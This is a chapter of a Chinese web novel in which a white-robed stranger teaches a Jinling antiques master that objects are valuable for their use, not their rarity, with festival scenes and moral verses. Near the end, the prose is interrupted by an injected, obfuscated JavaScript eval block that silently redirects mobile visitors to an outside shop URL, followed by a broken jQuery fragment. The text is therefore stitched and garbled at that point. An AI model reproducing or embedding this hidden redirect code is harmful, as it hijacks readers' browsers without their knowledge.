125.物用谳
作品:《无涯案海录》 楔子·端阳鉴宝
端午时节,金陵城“聚珍阁”内,博古先生秦夫子正指点十几个富家子弟鉴赏珍宝:
“……剑号巨阙,珠称夜光,此乃天下至宝。巨阙剑,欧冶子所铸,斩金截玉,威震诸侯;夜光珠,南海所出,暗室生辉,价值连城。果珍李柰,菜重芥姜,此乃人间至味。李柰甘美,芥姜辛辣,皆不可或缺。物有贵贱,用有轻重,此乃天理人伦……”
正说着,阁外秦淮河畔传来清亮儿歌:
“剑号巨阙是铁块,珠称夜光是石头。
果珍李柰是解渴,菜重芥姜是调口。
铁块能砍柴,石头能打狗。
李柰能充饥,芥姜能下酒——”
秦夫子皱眉推窗,但见河畔柳荫下,众渔家稚子正围着一个白衣人唱闹。白衣人坐在青石矶头,面前摊着几样物事:一柄锈柴刀、一颗寻常鹅卵石、几枚青李黄柰、一把芥菜几块老姜。斗笠是蒲草与艾叶混编,檐边缀着几串五彩丝。白衣是苎麻所制,洗得泛白,袖口沾着苇叶清香。木剑插在石缝,剑穗是褪色的五色丝绦打成如意结。面上蒙着本色棉纱,只露出一双明澈如秦淮水的眼睛,正教一个总角小童用鹅卵石打水漂。
“荒唐!”秦夫子拂袖,“巨阙夜光,乃天下奇珍;李柰芥姜,乃世间美味。尔等渔子,安敢以柴刀卵石比之?”
白衣人抬头,声音清朗如端午风:“先生教训得是。在下教孩子们玩石品果,正是感悟物用——柴刀砍柴,卵石铺路,李柰解渴,芥姜调味。物物皆有用,何必强分贵贱?”
秦夫子冷笑:“你既敢妄论珍宝,可敢进阁来辩?也让这些子弟听听,何为真贵重!”
一、 剑的真锋
白衣人随秦夫子进阁。富家子弟见他布衣素履,皆有哂色。白衣人从怀中取出一柄木剑,长三尺,无锋无锷。
“先说‘剑号巨阙’。秦夫子言其斩金截玉,威震诸侯,极是。然剑之所以为剑,在锋乎?在用乎?”
他将木剑递给最近一个锦衣少年:“公子可试挥此剑。”
少年嗤笑:“木剑岂能称剑?”
“木剑不是剑,何物是剑?”白衣人反问,“铁铸为剑,木削亦为剑。剑之为剑,在其形乎?在其用乎?若论斩金截玉,巨阙能之,柴刀亦能之。”他指向窗外渔舟,“那渔人剖鱼之刀,日日斩鳞截骨,可称剑否?”
一子弟道:“剑乃百兵之君,有礼制威仪,岂是庖刀可比?”
“礼制在人,不在剑。”白衣人缓声道,“昔有渔夫持桨退敌,桨是剑否?有农人挥锄护村,锄是剑否?巨阙悬于诸侯壁,是礼;柴刀握于樵夫手,是用。礼用之间,孰重?”
秦夫子捻须:“剑有文武。文剑饰礼,武剑建功。巨阙二者兼备,故为至宝。”
“文武在人心,非在剑身。”白衣人指着阁中悬挂的装饰剑,“此剑镶金嵌玉,可为礼乎?可斩敌乎?若悬于壁,是礼器;若握于手,是凶器。礼器凶器,一念之间。巨阙若是凶器,斩的是人命;柴刀若是凶器,斩的是柴薪。人命贵,柴薪贱,故剑贵刀贱乎?”
阁中一时寂然。白衣人取回木剑,轻抚剑身:“我这木剑,不斩金玉,不伤人命。但它可指路,可量地,可教稚子明剑理。这用,可逊于巨阙?”
二、 珠的真光
日头渐高,阁内珍宝映光。白衣人从袖中取出那颗鹅卵石,置于紫檀案上。石色灰白,毫无光彩。
“再说‘珠称夜光’。秦夫子言其暗室生辉,价值连城,极是。然珠之所以为珠,在光乎?在明乎?”
他将鹅卵石递给一个佩珠少年:“公子可持此石,与夜光珠比光。”
少年嗤之以鼻:“顽石岂能比珠?”
“请观。”白衣人吹熄烛火,阁中顿暗。他取夜光珠置于案,珠发幽绿微光;又取鹅卵石,石沉暗如故。
众人哂笑。白衣人却道:“珠光可照几步?”
“三步之内可见物。”
“烛光可照几步?”
“十步之内明如昼。”
白衣人重点烛火:“珠光不如烛光,为何贵珠贱烛?因珠稀罕,烛寻常。稀罕者贵,寻常者贱,此人心之偏,非物用之实。”
他指向窗外河灯:“今夜端午,万盏河灯映秦淮,光可照夜。那一盏灯,是珠贵,还是灯贵?灯烛照人夜行,珠光照人赏玩。夜行关乎性命,赏玩关乎雅趣。性命与雅趣,孰重?”
秦夫子沉吟:“珠之为宝,在其珍稀难得。物以稀为贵,自古皆然。”
“稀者贵,是人心之欲,非物用之需。”白衣人将鹅卵石投入鱼缸,石沉水底,“此石铺路,千人踏而不怨;砌墙,百年立而不倾。夜光珠可乎?珠需锦匣珍藏,畏湿畏碰;石可任雨任晒,无求无怨。从物用论,石胜于珠。从人心论,珠贵于石。贵在人心,非在物用。”
三、 果的真味
午时将至,阁外传来粽子香。白衣人从篮中取出青李黄柰,剖开展示:李肉青透,柰肉黄润。
“三说‘果珍李柰’。秦夫子言其甘美,极是。然果之所以为果,在味乎?在养乎?”
他将李柰分与众人品尝。子弟们皆道甘甜。
“李柰之珍,珍在何处?”白衣人问。
一子弟答:“珍在难得。李熟于初夏,柰熟于夏,皆非四季常有。”
“若四季常有,便不珍乎?”白衣人指向窗外市集,“那挑担老妪,卖的是桃杏梨枣,四季轮转皆有果。桃甜杏酸梨脆枣香,可珍否?农人种果,是为养家;商人贩果,是为谋生;你我食果,是为解馋。解馋是欲,养家是需。欲与需,孰重?”
秦夫子道:“圣人有言:食不厌精,脍不厌细。李柰乃果中上品,自有其贵。”
“上品下品,是人之分,非果之性。”白衣人取出一枚野山楂,其貌不扬,其味酸涩,“此果生于山野,鸟雀食之,樵童采之。在李柰旁,是下品。然饥者食之可果腹,医者用之可入药。果腹救命,可逊于解馋?”
他指着阁中果盘:“这盘李柰,值银三钱。三钱银可换糙米一斗,够三口之家十日炊。若以解馋之李柰,换活命之米粮,孰珍?李柰之珍,珍在口舌;米粮之珍,珍在性命。口舌与性命,孰重?”
众子弟默然。白衣人缓声道:“果珍李柰,是因其味美。然野果亦有味,何以不珍?因人择其美者珍之,丑者弃之。择弃之间,可见人心。”
四、 菜的真重
白衣人最后取出那把芥菜、几块老姜。芥叶青翠,姜块黄褐,其貌不扬。
“四说‘菜重芥姜’。秦夫子言其辛辣不可或缺,极是。然菜之所以为菜,在味乎?在功乎?”
他将芥姜递给阁中庖厨:“老师傅,此物在厨中何用?”
老庖厨躬身:“芥可腌渍佐粥,姜可去腥调味。二者虽贱,一日不可缺。”
“如何不可或缺?”
“无芥,食无辛香;无姜,腥膻不去。虽王侯宴席,亦需姜芥调味。”
白衣人颔首,转向秦夫子:“秦先生,巨阙剑可一日不用,夜光珠可一世不观,李柰可经年不食。然姜芥可一日缺否?”
秦夫子捻须:“庖厨之言不虚。老夫每日晨起,必食腌芥佐粥;每餐鱼肉,必佐姜醋。确不可缺。”
“这便是‘重’。”白衣人正色,“重者,不可缺也。巨阙虽贵,可缺;夜光虽珍,可缺;李柰虽美,可缺。唯姜芥虽贱,不可缺。然人言‘菜重芥姜’,往往口重而心轻。宴席之上,鲍参翅肚居中央,姜芥葱蒜置角落。重乎?轻乎?”
他指着窗外市井:“那菜摊老翁,晨起贩姜芥,一日所得不过数十文。这数十文,换米养家,供子读书。姜芥之重,重在养千家万户,非在宴席一隅。重是日用,非是名贵。”
秦夫子长叹:“老朽鉴宝数十年,只道巨阙夜光是宝,李柰芥姜是味。今日方知,宝在有用,味在养人。有用养人者,虽贱亦重;无用悦人者,虽贵亦轻。”
五、 端午的启示
午时三刻,龙舟鼓声自河上传来。白衣人邀众人出阁,到河畔茶棚。棚中正煮粽子,桌上摆着“五黄”:黄鱼、黄鳝、黄瓜、咸蛋黄、雄黄酒。
白衣人斟雄黄酒分与众人,缓声道:“今日端午,秦夫子教各位‘剑号巨阙,珠称夜光。果珍李柰,菜重芥姜’。这是物之贵贱,用之轻重。”
他指着河中龙舟:“那舟子手中桨,是剑否?可劈波斩浪。那舟头灯笼,是珠否?可照夜引航。那舟中角黍,是李柰否?可慰劳力。那佐酒姜蒜,是芥姜否?可祛湿寒。”
又指向岸边观舟百姓:“渔夫手中网,可捕黄鱼;农人手中锄,可种黄瓜;庖厨手中刀,可剖黄鳝;母亲手中线,可缠彩粽。这些物,可称巨阙?可称夜光?可称李柰?可称芥姜?”
秦夫子举杯在手,对子弟们道:“今日这堂课,老夫加一句:剑之贵,贵在护人,非在斩金;珠之贵,贵在照夜,非在炫奇;果之贵,贵在养人,非在甘美;菜之重,重在日用,非在辛辣。物之用,在人心;物之贵,在养人。尔等可记下了?”
众子弟齐声:“记下了!”
“那便观此酒吧。酒渍雄黄,可祛瘴疠;粽裹黍粟,能慰饥肠。祛瘴疗饥,便是大用。”
尾声·秦淮物用
自那日后,聚珍阁多了条规矩。
秦夫子仍鉴宝,但每鉴一物,必问主人:“此物何用?”若答“赏玩”,则摇头;若答“养人利世”,方点头。有子弟献夜光珠,夫子问:“可照几人夜行?”子弟赧然。有商人献巨阙剑,夫子问:“可护几村安宁?”商人默然。
他在阁前立木榜,刻白衣人当日语:
剑贵在护,非在锋
珠贵在明,非在光
果贵在养,非在味
菜重在用,非在名
物物皆有用,人心分重轻
富家子弟每月需访市井,问渔人网何用,问农人锄何用,问匠人锤何用,问母亲针线何用。有子弟问:“这能助家业么?”秦夫子答:“家业在物用,物用在养人。不知物用,纵有万贯,何益于世?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223544|195403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后来金陵兴起“物用节”——每年端午,渔人、农人、匠人、庖厨齐聚秦淮河畔,各陈其“用物”:渔人献网,农人献锄,匠人献锤,庖厨献刀。秦夫子主鉴,评曰:“网可捕鱼养家,锄可种粮活人,锤可造屋安身,刀可烹食养命。此四物,可称巨阙、夜光、李柰、芥姜。”观者叹服。
那白衣人再未出现,但每年端午,秦淮河畔总有陌生人来献一物:或是一柄旧柴刀,或是一颗寻常石,或是一篮野果,或是一把老姜。献物人总说:“剑号巨阙,珠称夜光。果珍李柰,菜重芥姜。物用是本,人心是秤。”
秦夫子古稀之年,散尽所藏珍宝,唯留四物悬于阁中:一柄樵夫赠的旧柴刀,一颗稚子赠的鹅卵石,一篮农人赠的野山楂,一把庖厨赠的老姜块。下书:
“鉴宝五十年,方知宝在民间。
柴刀可砍柴,卵石可铺路,山楂可果腹,老姜可调味。
物物有用,用即是宝。
白衣一点,端阳开蒙。
从此鉴物先鉴用,论贵先论心。”
端午之日,老鉴宝师临窗观河,但见龙舟竞渡,百舸争流。岸上传来隐约童谣:
“剑号巨阙是铁块,能砍柴来能劈山——
樵夫手里柴刀快,养家糊口赛宝剑。
珠称夜光是石头,能铺路来能垒墙——
孩童手掷打水漂,一石激起千层浪。
果珍李柰是解渴,能充饥来能尝鲜——
山间野果无人问,饥年救人万万千。
菜重芥姜是调口,能佐餐来能祛寒——
一日三餐不离它,才是真重才是宝——”
他捻须微笑,对河举杯:“剑号巨阙,珠称夜光。果珍李柰,菜重芥姜。这十六字,老夫解了五十年,今日方解透。透在何处?在柴刀,在卵石,在山楂,在老姜。物之用,在养人;物之贵,在人心。人心清明,则物物皆宝;人心蒙尘,则宝亦是石。”
河风拂面,粽香盈巷。物用无言,人心有秤。而这秤上,有巨阙,有夜光,有李柰,有芥姜,更有滚滚红尘里,寻常百姓家的炊烟暖意、生生不息。
本章诫世
一、 物用真义训
- 剑号巨阙,珠称夜光。果珍李柰,菜重芥姜
- 破解法:论物用者,自问“剑何以贵?珠何以珍?果何以美?菜何以重?是物之本,是人之欲,是名之累,是心之偏?”
二、 四物四用
- 剑号巨阙——贵在斩金截玉,更贵在护国卫民。若只悬壁,是死铁;若握在手,是凶器。真贵在护,非在锋
- 珠称夜光——珍在暗室生辉,更珍在照夜引路。若只藏椟,是顽石;若悬于途,是明灯。真珍在明,非在光
- 果珍李柰——美在甘甜适口,更美在养人果腹。若只悦口,是玩物;若活人命,是真珍。真珍在养,非在味
- 菜重芥姜——重在调味佐餐,更重在日用不可或缺。若只调口,是辅料;若养千家,是根本。真重在用,非在名
- 四明:物有本用,人贵之;物有虚名,人惑之。巨阙是铁,夜光是石,李柰是果,芥姜是菜。铁可铸剑亦可铸犁,石可饰冠亦可铺路,果可悦口亦可活命,菜可佐餐亦可养家。用是本,名是末
三、 日用大道
- 深层隐喻:天下万物,皆有其用。巨阙之贵,贵在“剑”名,然剑之用,在护在斩,非在名。夜光之珍,珍在“珠”名,然珠之用,在明在照,非在珍。李柰之美,美在“果”名,然果之用,在养在活,非在美。芥姜之重,重在“菜”名,然菜之用,在日在需,非在重。名是人之赋,用是物之实。重名轻用,则巨阙不如柴刀,夜光不如烛火,李柰不如野果,芥姜不如藜藿。重实轻名,则一草一木,皆是珍宝
- 终极指向:世人论物,易入歧途:以名为贵,不以用为贵;以稀为珍,不以养为珍;以美为美,不以活为美;以重为重,不以需为重。真正的物用,在渔人网中,在农人锄下,在匠人锤前,在母亲手中。日用寻常,方是真贵重;养人利世,方是真珍宝
端阳鉴偈:
端午金陵聚珍阁,秦师鉴宝论贵重。
巨阙夜光李柰姜,字字珍稀句句宝。
白衣河畔说故事,剑是铁块珠是石。
果是解渴菜调味,物用是本名是末。
从此鉴物先鉴用,贵重在养非在珍。
后世叹:
剑号巨阙是铁成,能斩能护方为贵。
珠称夜光是石生,能照明暗方为珍。
果珍李柰是木实,能养人能方为美。
菜重芥姜是地生,能佐餐需方为重。
秦师鉴宝重名贵,白衣说物重日用。
从此物用是根本,珍宝原是平常心。
正是:
端午金陵说物用,聚珍阁前论贵重。
巨阙夜光李柰姜,字字珍稀人人羡。
白衣河畔说故事,物用是本名是末。
从此论物先论用,日用寻常是真宝。

